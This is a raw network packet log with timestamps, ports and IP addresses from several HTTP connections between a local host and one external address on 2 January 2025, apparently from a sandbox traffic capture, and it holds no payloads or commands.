Jan 2, 2025 19:14:18.187880993 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187895060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187900066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187910080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.187930107 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188004971 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188014984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188020945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188026905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188126087 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188324928 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188389063 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188394070 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188400030 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188409090 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188440084 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188477039 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188483000 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188488960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188494921 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188500881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188517094 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188529968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188535929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188541889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188546896 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188551903 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188553095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188559055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188565969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188571930 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188582897 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188604116 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188672066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188677073 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188689947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188697100 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188702106 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188715935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188719988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188738108 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188802004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188808918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188821077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188826084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188836098 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188837051 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188843012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188858032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188859940 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188864946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188870907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188875914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188879967 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188895941 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188955069 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.188956022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188961983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188973904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188980103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.188997984 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189003944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189009905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189016104 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189022064 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189028025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189033985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189035892 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189045906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189050913 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189057112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189063072 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189069033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189069033 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189075947 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189132929 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189135075 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189146042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189152002 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189158916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189162970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189168930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189174891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189181089 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189203024 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189208031 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189244986 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189250946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189255953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189255953 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189269066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189275026 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189285994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189291954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189296007 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189296961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189304113 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189337015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189342022 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189352989 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189354897 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189359903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189367056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189372063 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189378023 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189388990 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189389944 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189399004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189404011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189403057 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189409018 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189414978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189418077 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189418077 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189419985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189438105 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189444065 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189451933 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189455032 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189460039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189460993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189460993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189506054 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189522028 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189565897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189572096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189578056 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189589977 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189599037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189604044 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189610004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189620018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.189645052 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.189673901 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.190170050 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190176964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190187931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190291882 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.190304041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190310001 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190323114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190350056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190356016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190383911 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.190416098 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.190968037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190974951 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190980911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190987110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190992117 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.190998077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191015005 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191020966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191026926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191037893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191051960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191054106 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.191062927 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191065073 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191068888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191070080 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.191076994 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.191128969 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.191128969 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.191132069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191137075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191148996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191154957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191169024 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191169977 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.191175938 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191181898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191189051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.191203117 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.191329002 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.192079067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192085028 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192097902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192104101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192109108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192115068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192121029 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192126989 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192145109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192151070 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192163944 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192164898 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.192168951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192177057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192181110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192187071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192186117 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.192193031 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192193985 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.192204952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192210913 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192261934 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.192261934 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.192262888 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.192641020 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192646980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192653894 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192663908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192667961 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192703962 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.192732096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192738056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192749977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192754030 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.192768097 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.192768097 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.192806005 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.193527937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.193533897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.193545103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.193551064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.193556070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.193567991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.193579912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.193594933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.193598986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.193604946 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.193764925 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.211168051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211174011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211285114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211292028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211303949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211309910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211323977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211329937 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.211330891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211361885 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.211411953 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.211559057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211570024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211575985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211590052 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211596966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211616993 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.211685896 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.211695910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211708069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211714029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211724997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211730957 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211738110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211744070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211749077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211755037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.211785078 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.211852074 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212119102 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212131977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212143898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212150097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212161064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212173939 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212173939 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212182045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212187052 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212193012 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212198019 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212203026 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212208986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212219954 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212222099 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212224960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212230921 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212232113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212244987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212249994 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212249994 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212260008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212265015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212270021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212286949 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212301970 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212304115 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212307930 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212313890 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212320089 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212331057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212352991 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212376118 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212383032 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212388992 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212399960 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212443113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212450027 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212462902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212469101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212493896 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212493896 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212517977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212532043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.212583065 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.212676048 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.213295937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.213305950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.213311911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.213316917 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.213323116 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.213329077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.213341951 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.213351011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.213391066 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.213413954 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.231473923 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.231601000 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.231641054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.231647015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.231659889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.231667042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.231673002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.231679916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.231703997 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.231750011 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.237909079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.237916946 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.237929106 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.237935066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.237941980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.237946987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.237953901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.238003016 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.238020897 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.249649048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249754906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249761105 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249768019 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249773979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249785900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249794006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249808073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249813080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249818087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249825001 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249835014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.249841928 CET	80	49728	147.45.44.131	192.168.2.6
